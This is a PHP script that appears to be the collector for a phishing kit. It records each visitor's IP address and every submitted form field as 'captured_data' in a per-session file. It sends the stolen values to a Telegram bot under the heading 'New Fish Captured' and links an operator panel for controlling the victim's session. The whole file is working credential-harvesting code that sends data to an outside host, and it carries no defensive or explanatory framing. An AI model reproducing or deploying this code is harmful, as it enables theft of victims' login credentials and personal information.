<?php
session_start();
include 'config.php';

$uid = session_id();
$ip = $_SERVER['REMOTE_ADDR'];
$file = "data/$uid.json";

$data = [];
if (file_exists($file)) {
    $data = json_decode(file_get_contents($file), true);
}

$data['ip'] = $ip;
$data['last_seen'] = time();
$data['status'] = 'waiting'; 
$data['current_page'] = $_POST['page'] ?? 'unknown';

unset($data['command']);
unset($data['redirect_url']);

if (!isset($data['captured_data'])) {
    $data['captured_data'] = [];
}
$newData = $_POST;
unset($newData['page']);
$data['captured_data'] = array_merge($data['captured_data'], $newData);

file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT));

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
$scriptDir = dirname($_SERVER['SCRIPT_NAME']);
$scriptDir = str_replace('\\', '/', $scriptDir);
$adminUrl = $protocol . "://" . $host . $scriptDir . "/admin/index.php?uid=" . $uid;

$message = "🎣 <b>New Fish Captured @earthshakinggg</b>\n";
$message .= "📍 <b>Page:</b> " . htmlspecialchars($data['current_page']) . "\n";
$message .= "🆔 <b>IP:</b> " . $ip . "\n";
$message .= "🆔 <b>Session:</b> " . $uid . "\n";
$message .= "➖➖➖➖➖➖➖➖➖➖\n";
foreach ($newData as $key => $value) {
    $message .= "<b>" . htmlspecialchars(ucfirst($key)) . ":</b> " . htmlspecialchars($value) . "\n";
}
$message .= "➖➖➖➖➖➖➖➖➖➖\n";
$message .= " <b>Panel:</b> $adminUrl";

$url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage";
$post_data = [
    'chat_id' => $telegram_chat_id,
    'text' => $message,
    'parse_mode' => 'HTML'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

echo json_encode(['status' => 'success']);
?>